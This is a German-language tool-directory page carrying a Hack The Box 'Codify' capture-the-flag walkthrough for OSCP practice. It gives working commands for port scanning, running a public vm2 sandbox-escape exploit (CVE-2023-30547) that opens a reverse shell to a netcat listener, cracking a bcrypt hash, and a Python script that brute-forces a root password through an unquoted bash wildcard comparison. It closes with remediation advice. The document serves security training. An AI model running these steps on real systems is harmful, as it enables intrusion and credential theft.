Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Codify-TJNULL-OSCP- — Walkthrough für Codify (Linux - Einfach). Nutzt vm2-RCE (CVE-2023-30547), SQLite-DB-Hash-Extraktion, Bcrypt-Knacken mit John und Privilege Escalation per Bash-Wildcard-Vergleich in `mysql-backup.sh` aus. | Kitploit
Tools/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
Privilege EscalationPasswortangriffeExploitationWebanwendungs-ExploitationInformationsbeschaffungCTFPenetrationstestsLernen & Bildung
GitHubr3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Walkthrough für Codify (Linux - Einfach). Nutzt vm2-RCE (CVE-2023-30547), SQLite-DB-Hash-Extraktion, Bcrypt-Knacken mit John und Privilege Escalation per Bash-Wildcard-Vergleich in `mysql-backup.sh` aus.

Repository anzeigen
vor 16 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Hack The Box — Codify Writeup

Difficulty OS Platform

Vollständiger Penetrationstest-Walkthrough und Writeup für die Maschine Codify auf Hack The Box.


📌 Maschineninfo

FeldWert
NameCodify
BetriebssystemLinux
SchwierigkeitsgradEinfach
Kernkonzeptevm2 RCE (CVE-2023-30547), SQLite-DB-Enumeration, Bcrypt-Cracking, Bash-Wildcard-Pattern-Matching-Missbrauch

🛠️ Zusammenfassung / Angriffskette

root@kitploit:~
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 Phase 1: Aufklärung & Enumeration

1. Port-Erkennung

Schneller Portscan über alle 65.535 TCP-Ports, um offene Dienste zu entdecken:

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. Service-Versionserkennung

Detaillierte Enumeration auf den Ports 22, 80, 3000:

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 Phase 2: Erster Zugang (Foothold)

1. Ausnutzung des vm2-Sandbox-Escapes (CVE-2023-30547)

Die auf Port 3000 laufende Webanwendung verwendet eine verwundbare Version der Node.js-Sandbox-Bibliothek vm2.

Klone das öffentliche Exploit-Repository:

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. Exploit-Ausführung

Starte einen lokalen Netcat-Listener auf deiner Angriffsmaschine:

Bash

root@kitploit:~
ncat -lnvp 4444

Führe den Exploit gegen die verwundbare Webanwendung aus:

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

Überprüfe deine erste Foothold-Shell:

Bash

root@kitploit:~
whoami

🔎 Phase 3: Interne Enumeration & Lateral Movement

1. SQLite-Datenbank-Enumeration

Wechsle in das Webverzeichnis /var/www/contact und untersuche die SQLite-Datenbank:

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

Extrahiere Joshuas Bcrypt-Hash:

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(Drücke CTRL + d zum Beenden)

2. Knacken des Bcrypt-Hashes

Knacke den extrahierten Hash mit John the Ripper und rockyou.txt:

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. SSH-Zugang & User-Flag

Authentifiziere dich per SSH mit Joshuas geknackten Zugangsdaten:

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ Phase 4: Privilegienerweiterung

1. Enumeration der Sudo-Rechte

Prüfe die erlaubten sudo-Befehle für Benutzer joshua:

Bash

root@kitploit:~
sudo -l

Ausgabe: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. Analyse des Backup-Skripts

Untersuche /opt/scripts/mysql-backup.sh:

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

Schwachstelle: Das Skript verwendet in Bash einen nicht in Anführungszeichen gesetzten Mustervergleich ([[ $USER_PASS == $DB_PASS* ]]). Dadurch können Wildcards (*) in der Benutzereingabe einen Zeichen-für-Zeichen-Brute-Force-Angriff gegen das tatsächliche Passwort durchführen.

3. Automatisierte Passwort-Extraktion (Python)

Erstelle bruteforce.py, um das Root-Passwort Zeichen für Zeichen zu extrahieren:

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

Führe das Skript aus, um das Passwort zu extrahieren:

Bash

root@kitploit:~
python3 bruteforce.py

4. Root-Flag

Wechsle mit dem extrahierten Passwort in den Kontext des Benutzers root:

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ Behebung & Gegenmaßnahmen

  • Node.js-Bibliotheken patchen: Verwundbare Sandbox-Bibliotheken wie vm2 (CVE-2023-30547) als veraltet einstufen oder aktualisieren.

  • Sicheres Bash-Skripting: Variablen bei Zeichenkettenvergleichen immer in Anführungszeichen setzen ([[ "$USER_PASS" == "$DB_PASS" ]]), um unbeabsichtigtes Pattern-Matching und Wildcard-Injection in privilegierten Skripten zu verhindern.

Tool herunterladen